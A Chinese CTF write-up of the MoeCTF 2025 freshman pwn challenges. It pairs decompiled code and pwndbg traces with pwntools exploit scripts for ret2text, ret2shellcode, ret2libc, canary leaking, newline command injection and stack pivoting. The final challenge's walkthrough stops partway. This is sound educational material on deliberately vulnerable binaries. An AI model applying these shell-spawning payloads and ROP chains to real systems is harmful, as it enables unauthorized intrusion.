Moectf2025 新生赛
本人是大一新生,刚入门pwn,参加了Moectf2025的新生赛,想写一篇文章记录一下,如果有任何文章问题,望指正。
在这里特别感谢Maple师傅的指导。
文章里的题目顺序并不是按难度排的。
ez_u64
unsigned __int64 vuln () { __int64 v1; unsigned __int64 v2; v2 = __readfsqword(0x28u ); puts ("Ya hello! Let's play a game." );printf ("Guess which number I'm thinking of." );printf ("Here is the hint." );write(1 , &num, 8uLL ); printf ("\n>" );__isoc99_scanf("%zu" , &v1); if ( v1 != num ){ puts ("Wrong answer!" ); puts ("Try pwntools u64?" ); exit (1 ); } puts ("Win!" );system("/bin/sh" ); return v2 - __readfsqword(0x28u );}
p=start() p.recvuntil("Here is the hint." ) leaked_data = p.recv(8 ) log.info(f"leak data: {leaked_data.hex ()} " ) num = u64(leaked_data) log.info(f"data: {num} " ) p.recvuntil(">" ) p.sendline(str (num)) p.interactive()
[DEBUG] Received 0x5b bytes: 00000000 59 61 20 68 65 6c 6c 6f 21 20 4c 65 74 27 73 20 │Ya h│ello│! Le│t’s │
00000010 70 6c 61 79 20 61 20 67 61 6d 65 2e 0a 47 75 65 │play│ a g│ame.│·Gue│
00000020 73 73 20 77 68 69 63 68 20 6e 75 6d 62 65 72 20 │ss w│hich│ num│ber │
00000030 49 27 6d 20 74 68 69 6e 6b 69 6e 67 20 6f 66 2e │I’m │thin│king│ of.│
00000040 48 65 72 65 20 69 73 20 74 68 65 20 68 69 6e 74 │Here│ is │the │hint│
00000050 2e ea 1e 03 77 ac 92 b2 d2 0a 3e │.···│w···│··>│
0000005b
[*] 泄露的数据: ea1e0377ac92b2d2
[*] 转换后的数值: 15182358563248086762
find_it
int __fastcall main (int argc, const char **argv, const char **envp) { int fd; char file[40 ]; unsigned __int64 v6; v6 = __readfsqword(0x28u ); init(argc, argv, envp); fd = dup(1 ); write(fd, "I've hidden the fd of stdout. Can you find it?\n" , 0x2Fu LL); close(1 ); __isoc99_scanf("%d" , &fd1); write(fd1, "You are right.What would you like to see?\n" , 0x2Au LL); __isoc99_scanf("%s%*c" , file); open(file, 0 ); write(fd1, "What is its fd?\n" , 0x10u LL); __isoc99_scanf("%d" , &fd2); read(fd2, &buf, 0x50u LL); write(fd1, &buf, 0x50u LL); return 0 ; }
这道考的是文件标志符,3,flag,1就行了
inject
int __fastcall main (int argc, const char **argv, const char **envp) { int v4; unsigned __int64 v5; v5 = __readfsqword(0x28u ); setbuf(_bss_start, 0LL ); setbuf(stdin , 0LL ); puts ("Welcome to server maintainance system." ); while ( 1 ) { _printf_chk( 1LL , "1. List processes\n2. Check disk usage\n3. Check network activity\n4. Test connectivity\n5. Exit\nYour choice: " ); if ( (int )_isoc99_scanf("%u" , &v4) < 0 ) break ; getc(stdin ); switch ( v4 ) { case 1 : execute("ps aux" ); break ; case 2 : execute("df -h" ); break ; case 3 : execute("netstat -ant" ); break ; case 4 : ping_host(); break ; case 5 : exit (0 ); default : puts ("Invalid choice!" ); break ; } } exit (1 ); }
main函数没有什么漏洞,查看ping_host()
unsigned __int64 ping_host () { _QWORD *buf_1; size_t v1; char *command_1; unsigned __int64 result; char v4; _QWORD buf[2 ]; char command[40 ]; unsigned __int64 v7; v7 = __readfsqword(0x28u ); buf[0 ] = 0LL ; buf[1 ] = 0LL ; _printf_chk(1LL , "Enter host to ping: " ); buf_1 = buf; if ( read(0 , buf, 0xFu LL) <= 0 ) exit (1 ); v1 = strlen ((const char *)buf); if ( *(&v4 + v1) == 10 ) *(&v4 + v1) = 0 ; if ( (unsigned int )check(buf) ) { buf_1 = &qword_20; _snprintf_chk(command, 32LL , 1LL , 32LL , "ping %s -c 4" , (const char *)buf); command_1 = command; execute(command); } else { command_1 = "Invalid hostname or IP!" ; puts ("Invalid hostname or IP!" ); } result = v7 - __readfsqword(0x28u ); if ( result ) _stack_chk_fail(command_1, buf_1); return result; }
_BOOL8 __fastcall check (const char *s) { return strpbrk (s, ";&|><$(){}[]'\"`\\!~*" ) == 0LL ; }
可以执行我们输入的内容和原有内容的组合,不能带有check函数中的符号
,是可以通过check函数的
cat flag命令没有参数,所以要将后面的省略了
p = start() p.recvuntil(b"Your choice: " ) p.sendline(b'4' ) p.recvuntil(b'Enter host to ping: ' ) payload=b'1\ncat flag\n#' p.sendline(payload) p.interactive()
执行的是
Ret2text
int __fastcall main (int argc, const char **argv, const char **envp) { unsigned int v4; init(argc, argv, envp); puts ("Stack overflow is a powerful art!" ); puts ("In this MoeCTF,I will show you the charm of PWN!" ); puts ("You need to understand the structure of the stack first." ); puts ("Then how many bytes do you need to overflow the stack?" ); __isoc99_scanf("%d" , &v4); overflow(v4); return 0 ; }
int __fastcall overflow (int n7) { _BYTE buf[8 ]; if ( n7 <= 7 ) return puts ("Come on, you can't even fill up this array?" ); read(0 , buf, n7); return puts ("OK,I receive your byte.and then?" ); }
public treasure .text:00000000004011B6 treasure proc near .text:00000000004011B6 ; __unwind { .text:00000000004011B6 endbr64 .text:00000000004011BA push rbp .text:00000000004011BB mov rbp, rsp .text:00000000004011BE lea rax, s ; "Congratulations! You got the secret!" .text:00000000004011C5 mov rdi, rax ; s .text:00000000004011C8 call _puts .text:00000000004011CD lea rax, command ; "/bin/sh" .text:00000000004011D4 mov rdi, rax ; command .text:00000000004011D7 call _system .text:00000000004011DC nop .text:00000000004011DD pop rbp .text:00000000004011DE retn .text:00000000004011DE ; } // starts at 4011B6 .text:00000000004011DE treasure endp
简单的栈溢出,适用于没有PIE保护、无canary、可以溢出足够长并且具有后门函数的情况
8个A覆盖buf[8],8字节覆盖rbp,8字节覆盖返回地址
io = start() io.recvuntil(b"Then how many bytes do you need to overflow the stack?" ) io.sendline(str (32 )) payload=b'A' *8 +p64(0x401310 )+p64(0x4011CD ) io.send(payload) io.interactive()
通常情况下,最好选择返回地址为关键部分,否则可能出现某些错误,比如说这道题可能出现栈没对齐的情况
Ret2shellcode
int __fastcall main (int argc, const char **argv, const char **envp) { int n4; int prot; int v6; int n10; void *s; unsigned __int64 v9; v9 = __readfsqword(0x28u ); init(argc, argv, envp); s = mmap(0LL , 0x1000u LL, 3 , 34 , -1 , 0LL ); if ( s == (void *)-1LL ) { perror("mmap" ); return 1 ; } memset (s, 0 , 0x1000u LL); v6 = 0 ; prot = 0 ; puts ("In a ret2text exploit, we can use code in the .text segment." ); puts ("But now, there is no 'system' function available there." ); puts ("How can you get the flag now? Perhaps you should use shellcode." ); puts ("But what is shellcode? What can you do with it? And how can you use it?" ); puts ("I will give you some choices. Choose wisely!" ); __isoc99_scanf("%d" , &n4); do n10 = getchar(); while ( n10 != 10 && n10 != -1 ); if ( n4 == 4 ) { if ( v6 == 1 ) puts ("You can only make one change!" ); prot = 7 ; v6 = 1 ; } else { if ( n4 > 4 ) goto LABEL_24; switch ( n4 ) { case 3 : if ( v6 == 1 ) puts ("You can only make one change!" ); prot = 4 ; v6 = 1 ; break ; case 1 : if ( v6 == 1 ) puts ("You can only make one change!" ); prot = 1 ; v6 = 1 ; break ; case 2 : if ( v6 == 1 ) puts ("You can only make one change!" ); prot = 3 ; v6 = 1 ; break ; default : LABEL_24: puts ("Invalid choice. The space remains in its chaotic state." ); exit (1 ); } } if ( mprotect(s, 0x1000u LL, prot) == -1 ) { perror("mprotect" ); exit (1 ); } puts ("\nYou have now changed the permissions of the shellcode area." ); puts ("If you can't input your shellcode, think about the permissions you just set." ); read(0 , s, 0x1000u LL); ((void (*)(void ))s)(); return 0 ; }
观察到((void (*)(void))s)(),是一个可能可利用的shellcode
选择4给可读可写可执行权限,再利用shellcraft工具将sh写入s,程序就会将s的内容执行
io = start() io.recvuntil(b"I will give you some choices. Choose wisely!\n" ) io.sendline(str (4 )) io.recvuntil(b"If you can't input your shellcode, think about the permissions you just set.\n" ) io.send(asm(shellcraft.sh())) io.interactive()
Prelibc
int __fastcall main (int argc, const char **argv, const char **envp) { setup(argc, argv, envp); puts ("The Oracle speaks..." ); puts ("There is no system function in the .text segment." ); printf ("A gift of forbidden knowledge, the location of 'printf': %p\n" , &printf ); vuln(); return 0 ; }
ssize_t vuln () { _BYTE buf[64 ]; puts ("\nNow, show me what you can do with this knowledge:" ); printf ("> " ); return read(0 , buf, 0x100u LL); }
相较于Ret2text,没有了后门函数,需要我们字节构建system(“/bin/sh”)
p = start() p.recvuntil(b"A gift of forbidden knowledge, the location of 'printf': " ) printf_bytes=p.recvuntil(b'\n' ) printf_addr_str = printf_bytes.strip().decode('utf-8' ) printf_addr = int (printf_addr_str, 16 ) log.success(hex (printf_addr)) libc_base=printf_addr-libc.sym['printf' ] sys_addr=libc_base+libc.sym['system' ] binsh_addr = libc_base + next (libc.search(b"/bin/sh" )) pop_rdi_addr=libc_base+0x2a3e5 p.recvuntil(b"> " ) payload=b'A' *0x48 +p64(pop_rdi_addr+1 )+p64(pop_rdi_addr)+p64(binsh_addr)+p64(sys_addr) p.send(payload) p.interactive()
利用给的printf的地址,计算出libc的基地址,计算出“pop rdi;ret”、system与“/bin/sh”的地址
A*0x48覆盖buf和rbp,再利用pop_rdi_addr+1即是ret,用来防止栈没对齐,再执行pop rdi,将“/bin/sh”传入rdi中,返回system函数实现劫持
Easylibc
int __fastcall main (int argc, const char **argv, const char **envp) { setbuf(_bss_start, 0LL ); printf ("What is this?\nHow can I use %p without a backdoor? Damn!\n" , &read); vuln(); puts ("Something happening" ); return 0 ; }
ssize_t vuln () { _BYTE buf[32 ]; return read(0 , buf, 0x60u LL); }
[*] '/home/ubuntu/Moectf/easylibc/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
这题相较于Prelibc,关联到延迟绑定的内容
第一次输出时,输出的是一个还未使用过的函数read的地址,即是read的got表地址
[DEBUG] Received 0x45 bytes: b'What is this?\n' b'How can I use 0x5a5e41533060 without a backdoor? Damn!\n' [+] read got addr: 0x5a5e41533060
pwndbg> got Filtering out read-only entries (display them with -r or --show-readonly) State of the GOT of /home/ubuntu/Moectf/easylibc/pwn_patched: GOT protection: Partial RELRO | Found 4 GOT entries passing the filter [0x5a5e41536018] puts@GLIBC_2.2.5 -> 0x5a5e41533030 ◂— endbr64 [0x5a5e41536020] setbuf@GLIBC_2.2.5 -> 0x7dae4ee87fe0 (setbuf) ◂— endbr64 [0x5a5e41536028] printf @GLIBC_2.2.5 -> 0x7dae4ee606f0 (printf ) ◂— endbr64 [0x5a5e41536030] read @GLIBC_2.2.5 -> 0x5a5e41533060 ◂— endbr64
我们可以利用该地址算出main函数的地址,利用Ret2text使程序重新执行main函数
第二次输出时输出的就是read的真实地址,此时我们就可以利用Ret2libc劫持
[DEBUG] Received 0x45 bytes: b'What is this?\n' b'How can I use 0x7dae4ef147d0 without a backdoor? Damn!\n' [+] read addr: 0x7dae4ef147d0 [+] libc_base addr: 0x7dae4ee00000 [+] system addr: 0x7dae4ee50d70 [+] bin addr: 0x7dae4efd8678 [+] rdi addr: 0x7dae4ee2a3e5
pwndbg> got Filtering out read-only entries (display them with -r or --show-readonly) State of the GOT of /home/ubuntu/Moectf/easylibc/pwn_patched: GOT protection: Partial RELRO | Found 4 GOT entries passing the filter [0x5a5e41536018] puts@GLIBC_2.2.5 -> 0x5a5e41533030 ◂— endbr64 [0x5a5e41536020] setbuf@GLIBC_2.2.5 -> 0x7dae4ee87fe0 (setbuf) ◂— endbr64 [0x5a5e41536028] printf @GLIBC_2.2.5 -> 0x7dae4ee606f0 (printf ) ◂— endbr64 [0x5a5e41536030] read @GLIBC_2.2.5 -> 0x7dae4ef147d0 (read ) ◂— endbr64
p = start() p.recvuntil(b"What is this?\nHow can I use " ) got_addr_hex_bytes = p.recvuntil(b' ' )[:-1 ] read_got_addr = int (got_addr_hex_bytes.decode(), 16 ) log.success("read got addr: %s" ,hex (read_got_addr)) main_base=read_got_addr-elf.sym["read" ]+elf.sym["main" ]+0x54 +0x5 payload0=b'A' *0x28 +p64(main_base) p.send(payload0) p.recvuntil(b"What is this?\nHow can I use " ) addr_hex_bytes = p.recvuntil(b' ' )[:-1 ] read_addr = int (addr_hex_bytes.decode(), 16 ) log.success("read addr: %s" ,hex (read_addr)) libc_base=read_addr-libc.sym["read" ] sys_addr=libc_base+libc.sym["system" ] bin_addr=libc_base+next (libc.search(b"/bin/sh" )) pop_rdi_addr=libc_base+0x2a3e5 log.success("libc_base addr: %s" ,hex (libc_base)) log.success("system addr: %s" ,hex (sys_addr)) log.success("bin addr: %s" ,hex (bin_addr)) log.success("rdi addr: %s" ,hex (pop_rdi_addr)) p.recvuntil(b"without a backdoor? Damn!\n" ) payload=b'A' *0x28 +p64(pop_rdi_addr+1 )+p64(pop_rdi_addr)+p64(bin_addr)+p64(sys_addr) p.send(payload) p.interactive()
Ezcanary
int __fastcall main (int argc, const char **argv, const char **envp) { setup(argc, argv, envp); vuln(); return 0 ; }
unsigned __int64 vuln () { char buf[24 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); puts (aThisTimeIWon); puts ("Here is a beautiful canary, and it will be watching over you." ); read(0 , buf, 0x2Au LL); puts ("Go ahead and overflow, anyway I have a canary." ); puts (buf); puts ("I will give you a second chance, since you can not do anything anyway." ); puts (aEvenIfYouKillT); read(0 , buf, 0x2Au LL); return v2 - __readfsqword(0x28u ); }
对于有canary保护的该程序,多输入一字节将canary的00覆盖,这样在puts(buf)是就会将canary的其余七字节泄露出,这样就绕过了canary保护
.text:0000000000001229 public backdoor .text:0000000000001229 backdoor proc near .text:0000000000001229 .text:0000000000001229 buf = qword ptr -10h .text:0000000000001229 var_8 = qword ptr -8 .text:0000000000001229 .text:0000000000001229 ; __unwind { .text:0000000000001229 endbr64 .text:000000000000122D push rbp .text:000000000000122E mov rbp, rsp .text:0000000000001231 sub rsp, 10h .text:0000000000001235 mov rax, fs:28h .text:000000000000123E mov [rbp+var_8], rax .text:0000000000001242 xor eax, eax .text:0000000000001244 lea rax, s ; "Give me the password!" .text:000000000000124B mov rdi, rax ; s .text:000000000000124E call _puts .text:0000000000001253 lea rax, [rbp+buf] .text:0000000000001257 mov edx, 8 ; nbytes .text:000000000000125C mov rsi, rax ; buf .text:000000000000125F mov edi, 0 ; fd .text:0000000000001264 call _read .text:0000000000001269 mov rdx, [rbp+buf] .text:000000000000126D mov rax, cs:password .text:0000000000001274 cmp rdx, rax .text:0000000000001277 jnz loc_1311 .text:000000000000127D lea rax, aYouFindTheSecr ; "You find the secret:" .text:0000000000001284 mov rdi, rax ; s .text:0000000000001287 call _puts .text:000000000000128C mov esi, 0 ; oflag .text:0000000000001291 lea rax, file ; "/flag" .text:0000000000001298 mov rdi, rax ; file .text:000000000000129B mov eax, 0 .text:00000000000012A0 call _open .text:00000000000012A5 mov cs:fd, eax .text:00000000000012AB mov eax, cs:fd .text:00000000000012B1 cmp eax, 0FFFFFFFFh .text:00000000000012B4 jnz short loc_12CF .text:00000000000012B6 lea rax, aFailedToOpenFl ; "Failed to open flag file." .text:00000000000012BD mov rdi, rax ; s .text:00000000000012C0 call _puts .text:00000000000012C5 mov edi, 1 ; status .text:00000000000012CA call _exit .text:00000000000012CF ; --------------------------------------------------------------------------- .text:00000000000012CF .text:00000000000012CF loc_12CF: ; CODE XREF: backdoor+8B↑j .text:00000000000012CF mov eax, cs:fd .text:00000000000012D5 mov edx, 64h ; 'd' ; nbytes .text:00000000000012DA lea rcx, flag .text:00000000000012E1 mov rsi, rcx ; buf .text:00000000000012E4 mov edi, eax ; fd .text:00000000000012E6 call _read .text:00000000000012EB mov edx, 64h ; 'd' ; n .text:00000000000012F0 lea rax, flag .text:00000000000012F7 mov rsi, rax ; buf .text:00000000000012FA mov edi, 1 ; fd .text:00000000000012FF call _write .text:0000000000001304 mov eax, cs:fd .text:000000000000130A mov edi, eax ; fd .text:000000000000130C call _close .text:0000000000001311 .text:0000000000001311 loc_1311: ; CODE XREF: backdoor+4E↑j .text:0000000000001311 mov edi, 0 ; status .text:0000000000001316 call _exit .text:0000000000001316 ; } // starts at 1229 .text:0000000000001316 backdoor endp
此外还有PIE保护和后门函数,我们还可以覆盖返回地址的两个字节
对于开启PIE保护的程序,后三位地址是固定的,所以我们只需要从028c、128c、…、f28c中选一个进行爆破,有$\frac{1}{16}$ 的概率成功
p = start() p.recvuntil(b"Here is a beautiful canary, and it will be watching over you.\n" ) payload1=b'a' *0x19 p.send(payload1) p.recvuntil(b'a' *0x19 ) canary_leak = p.recvn(7 ) canary_bytes = b'\x00' +canary_leak canary = u64(canary_bytes) log.success(f"完整 canary(8 字节): 0x{canary:016x} " ) payload2 = 0x18 *b"a" +p64(canary)+p64(0xaaaaaaaa )+b"\x8c\x52" p.send(payload2) p.interactive()
Ezpivot
[*] '/home/ubuntu/Moectf/ezpivot/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
int __fastcall main (int argc, const char **argv, const char **envp) { int n32; _BYTE buf[12 ]; setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); puts ("Welcome to join this pwn party!" ); puts ("Please say something to introduce yourself:" ); puts ("Before that,you need to tell us the length of your introduction." ); __isoc99_scanf("%d" , &n32); if ( n32 > 32 ) { puts ("Your introduction is too long, please try again." ); exit (1 ); } introduce((unsigned int )n32); puts ("Now, please tell us your phone number:" ); read(0 , buf, len_of_phonenum); return 0 ; }
这里存在由int到unsigned int的强制转换,输入-1就能使(unsigned int)n32达到非常大的值
int __fastcall introduce (unsigned int nbytes) { read(0 , &desc, nbytes); return puts ("Ok,we got your introduction!" ); }
.bss:0000000000404060 public desc .bss:0000000000404060 desc db ? ; ; DATA XREF: introduce+15↑o .bss:0000000000404061 db ? ; ... .bss:000000000040485F db ? ; .bss:000000000040485F _bss ends .bss:000000000040485F
desc在bss段上,可以任意写
.data:0000000000404010 public len_of_phonenum .data:0000000000404010 len_of_phonenum dd 1Ch ; DATA XREF: main+E8↑r .data:0000000000404010 _data ends
栈上只能覆盖rbp和返回地址
.text:0000000000401211 ; void magic() .text:0000000000401211 public magic .text:0000000000401211 magic proc near .text:0000000000401211 ; __unwind { .text:0000000000401211 endbr64 .text:0000000000401215 push rbp .text:0000000000401216 mov rbp, rsp .text:0000000000401219 pop rdi .text:000000000040121A retn .text:000000000040121A magic endp .text:000000000040121A .text:000000000040121A ; --------------------------------------------------------------------------- .text:000000000040121B align 4 .text:000000000040121C pop rbp .text:000000000040121D retn .text:000000000040121D ; } // starts at 401211 .text:000000000040121E .text:000000000040121E ; =============== S U B R O U T I N E ======================================= .text:000000000040121E .text:000000000040121E ; Attributes: bp-based frame .text:000000000040121E .text:000000000040121E public backdoor .text:000000000040121E backdoor proc near .text:000000000040121E ; __unwind { .text:000000000040121E endbr64 .text:0000000000401222 push rbp .text:0000000000401223 mov rbp, rsp .text:0000000000401226 lea rax, command ; "echo moectf{WowYouGetTheFlag}" .text:000000000040122D mov rdi, rax ; command .text:0000000000401230 call _system .text:0000000000401235 pop rbp .text:0000000000401236 retn .text:0000000000401236 ; } // starts at 40121E .text:0000000000401236 backdoor endp
没有直接system返回地址可以用,需要我们构造pop rdi->binsh_addr->retn->system但是溢出字节不够,需要栈迁移
p = start() leave_pop_ret_addr=0x401211 leave_ret_addr=0x40133e backdoor_addr=0x401230 bss_addr=0x404060 pop_rdi_addr=0x401219 main_addr=0x4011de p.recvuntil(b"Before that,you need to tell us the length of your introduction.\n" ) p.sendline(str (-1 )) payload1=b'/bin/sh\x00' *0x100 +p64(bss_addr+0x200 )+p64(pop_rdi_addr)+p64(0x404078 )+p64(backdoor_addr) p.send(payload1) p.recvuntil(b"Now, please tell us your phone number:\n" ) payload2=b'a' *0xc +p64(bss_addr+0x800 )+p64(leave_ret_addr) p.sendline(payload2) p.interactive()
我们先在bss段上构造我们可以利用的栈,再利用第二次输入实现栈迁移并劫持程序
为什么b’/bin/sh‘*0x100?调用system函数会利用很大的栈空间,所以我们需要抬高栈基地址,并不一定是b’/bin/sh’*0x100
.text:0000000000401334 call _read .text:0000000000401339 mov eax, 0 .text:000000000040133E leave .text:000000000040133F retn
下面来详细解释一下流程:
第二次输入完成后,leave(mov rsp,rbp;pop rbp)此时rbp变为0x404860
接着返回我们控制的leave;retn
再次进行leave,此时rsp指向0x404860+0x8(对应pop_rdi_addr),rbp指向0x404260
retn(pop rip)执行pop rdi,将0x404078地址的内容即是/bin/sh00弹入rdi
再执行0x401230 call _system即可实现劫持
下面是system调用需要注意的地方
0x7f5cd00582d0 <do_system> push r13 0x7f5cd00582d2 <do_system+2> mov edx, 1 EDX => 1 0x7f5cd00582d7 <do_system+7> push r12 0x7f5cd00582d9 <do_system+9> mov r12, rdi R12 => 0x404078 (desc+24) ◂— 0x68732f6e69622f /* '/bin/sh' */ 0x7f5cd00582dc <do_system+12> push rbp ► 0x7f5cd00582dd <do_system+13> push rbx 0x7f5cd00582de <do_system+14> `sub rsp, 0x388` RSP => 0x4044d0 (desc+1136) (0x404858 - 0x388) 0x7f5cd00582e5 <do_system+21> mov rax, qword ptr fs:[0x28] RAX, [0x7f5cd0291768] => 0x57019af9a1b4e700 0x7f5cd00582ee <do_system+30> mov qword ptr [rsp + 0x378], rax [desc+2024] <= 0x57019af9a1b4e700 0x7f5cd00582f6 <do_system+38> xor eax, eax EAX => 0 0x7f5cd00582f8 <do_system+40> mov dword ptr [rsp + 8], 0xffffffff [desc+1144] <= 0xffffffff
hardpivot
[*] '/home/ubuntu/Moectf/hardpivot/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
int __fastcall main (int argc, const char **argv, const char **envp) { setup(argc, argv, envp); vuln(); puts ("See you again!" ); return 0 ; }
ssize_t vuln () { _BYTE buf[64 ]; puts ("This time I will not give you any gifts again." ); puts (aASingleStackPi); puts ("Think back to what you learned from the previous challenges and integrate it comprehensively." ); puts ("You have made it this far—keep going, victory is not far away." ); printf ("> " ); return read(0 , buf, 0x50u LL); }
.text:0000000000401208 ; ssize_t vuln() .text:0000000000401208 public vuln .text:0000000000401208 vuln proc near ; CODE XREF: main+17↓p .text:0000000000401208 .text:0000000000401208 buf = byte ptr -40h .text:0000000000401208 .text:0000000000401208 ; __unwind { .text:0000000000401208 endbr64 .text:000000000040120C push rbp .text:000000000040120D mov rbp, rsp .text:0000000000401210 sub rsp, 40h .text:0000000000401214 lea rax, s ; "This time I will not give you any gifts"... .text:000000000040121B mov rdi, rax ; s .text:000000000040121E call _puts .text:0000000000401223 lea rax, aASingleStackPi ; "A single stack pivot doesn" .text:000000000040122A mov rdi, rax ; s .text:000000000040122D call _puts .text:0000000000401232 lea rax, aThinkBackToWha ; "Think back to what you learned from the"... .text:0000000000401239 mov rdi, rax ; s .text:000000000040123C call _puts .text:0000000000401241 lea rax, aYouHaveMadeItT ; "You have made it this far—keep going, v"... .text:0000000000401248 mov rdi, rax ; s .text:000000000040124B call _puts .text:0000000000401250 lea rax, format ; "> " .text:0000000000401257 mov rdi, rax ; format .text:000000000040125A mov eax, 0 .text:000000000040125F call _printf .text:0000000000401264 lea rax, [rbp+buf] .text:0000000000401268 mov edx, 50h ; 'P' ; nbytes .text:000000000040126D mov rsi, rax ; buf .text:0000000000401270 mov edi, 0 ; fd .text:0000000000401275 call _read .text:000000000040127A nop .text:000000000040127B leave .text:000000000040127C retn .text:000000000040127C ; } // starts at 401208 .text:000000000040127C vuln endp
注意到vuln函数后面有leave;retn
.text:0000000000401196 ; void magic() .text:0000000000401196 public magic .text:0000000000401196 magic proc near .text:0000000000401196 ; __unwind { .text:0000000000401196 endbr64 .text:000000000040119A push rbp .text:000000000040119B mov rbp, rsp .text:000000000040119E pop rdi .text:000000000040119F retn .text:000000000040119F magic endp .text:000000000040119F .text:000000000040119F ; --------------------------------------------------------------------------- .text:00000000004011A0 db 90h .text:00000000004011A1 ; --------------------------------------------------------------------------- .text:00000000004011A1 pop rbp .text:00000000004011A2 retn .text:00000000004011A2 ; } // starts at 401196
缓冲区只溢出两个8字节并且没有后门,应该是要栈迁移
我们的思路是:
第一次进行栈迁移,并且使程序重新执行read读取我们构造的攻击载荷到新栈上
要进行system需要知道地址,即需要libc基址,所以我们需要在攻击载荷中将某个函数的真实地址作为参数传给输出函数,并且控制程序重新执行
第三次将最终的攻击载荷写到新栈上,并控制程序执行
下面我们来一步一步的观察一下进程
第一次read前
RBP 0x7fff76f94a80 —▸ 0x7fff76f94a90 ◂— 1 RSP 0x7fff76f94a40 —▸ 0x7b3a0be1b6a0 (_IO_2_1_stderr_) ◂— 0xfbad2087 *RIP 0x401275 (vuln+109) ◂— call read @plt ► 0x401275 <vuln+109> call read @plt <read @plt> fd: 0 (pipe:[82862]) buf: 0x7fff76f94a40 —▸ 0x7b3a0be1b6a0 (_IO_2_1_stderr_) ◂— 0xfbad2087 nbytes: 0x50 00:0000│ rax rsi rsp 0x7fff76f94a40 —▸ 0x7b3a0be1b6a0 (_IO_2_1_stderr_) ◂— 0xfbad2087 01:0008│-038 0x7fff76f94a48 —▸ 0x7b3a0bc816e5 (setvbuf+245) ◂— cmp rax, 1 02:0010│-030 0x7fff76f94a50 ◂— 0 03:0018│-028 0x7fff76f94a58 —▸ 0x7fff76f94a80 —▸ 0x7fff76f94a90 ◂— 1 04:0020│-020 0x7fff76f94a60 —▸ 0x7fff76f94ba8 —▸ 0x7fff76f969e6 ◂— '/home/ubuntu/Moectf/hardpivot/pwn_patched' 05:0028│-018 0x7fff76f94a68 —▸ 0x40127d (main) ◂— endbr64 06:0030│-010 0x7fff76f94a70 —▸ 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401160 (__do_global_dtors_aux) ◂— endbr64 07:0038│-008 0x7fff76f94a78 —▸ 0x401205 (setup+98) ◂— nop 08:0040│ rbp 0x7fff76f94a80 —▸ 0x7fff76f94a90 ◂— 1 09:0048│+008 0x7fff76f94a88 —▸ 0x401299 (main+28) ◂— lea rax, [rip + 0xe84]
第一次read后
RBP 0x7fff76f94a80 —▸ 0x404880 (bss_buffer+2016) ◂— 0 RSP 0x7fff76f94a40 ◂— 0x6161616161616161 ('aaaaaaaa' ) *RIP 0x40127b (vuln+115) ◂— leave ► 0x40127b <vuln+115> leave 00:0000│ rsi rsp 0x7fff76f94a40 ◂— 0x6161616161616161 ('aaaaaaaa' ) ... ↓ 7 skipped 08:0040│ rbp 0x7fff76f94a80 —▸ 0x404880 (bss_buffer+2016) ◂— 0 09:0048│+008 0x7fff76f94a88 —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40]
第一次leave后
*RBP 0x404880 (bss_buffer+2016) ◂— 0 *RSP 0x7fff76f94a88 —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40] *RIP 0x40127c (vuln+116) ◂— ret ► 0x40127c <vuln+116> ret <vuln+92> 00:0000│ rsp 0x7fff76f94a88 —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40]
第一次retn后,第二次read前
RBP 0x404880 (bss_buffer+2016) ◂— 0 *RSP 0x7fff76f94a90 ◂— 1 *RIP 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40] ► 0x401264 <vuln+92> lea rax, [rbp - 0x40] RAX => 0x404840 (bss_buffer+1952) ◂— 0 00:0000│ rsp 0x7fff76f94a90 ◂— 1 01:0008│ 0x7fff76f94a98 —▸ 0x7b3a0bc29d90 ◂— mov edi, eax 02:0010│ 0x7fff76f94aa0 ◂— 0 03:0018│ 0x7fff76f94aa8 —▸ 0x40127d (main) ◂— endbr64 04:0020│ 0x7fff76f94ab0 ◂— 0x176f94b90 05:0028│ 0x7fff76f94ab8 —▸ 0x7fff76f94ba8 —▸ 0x7fff76f969e6 ◂— '/home/ubuntu/Moectf/hardpivot/pwn_patched' 06:0030│ 0x7fff76f94ac0 ◂— 0 07:0038│ 0x7fff76f94ac8 ◂— 0x5292586019285d4d
第二次read后
RBP 0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0 RSP 0x7fff76f94a90 ◂— 1 *RIP 0x40127b (vuln+115) ◂— leave ► 0x40127b <vuln+115> leave 00:0000│ rsp 0x7fff76f94a90 ◂— 1 pwndbg> tele 0x404840 00:0000│ rsi 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0 01:0008│-038 0x404848 (bss_buffer+1960) —▸ 0x40119e (magic+8) ◂— pop rdi 02:0010│-030 0x404850 (bss_buffer+1968) —▸ 0x404018 (puts@got[plt]) —▸ 0x7b3a0bc80e50 (puts) ◂— endbr64 03:0018│-028 0x404858 (bss_buffer+1976) —▸ 0x401070 (puts@plt) ◂— endbr64 04:0020│-020 0x404860 (bss_buffer+1984) —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40] 05:0028│-018 0x404868 (bss_buffer+1992) ◂— 0 ... ↓ 2 skipped 08:0040│ rbp 0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0 09:0048│+008 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave
第二次leave后
*RBP 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0 *RSP 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave *RIP 0x40127c (vuln+116) ◂— ret ► 0x40127c <vuln+116> ret 00:0000│ rsp 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave
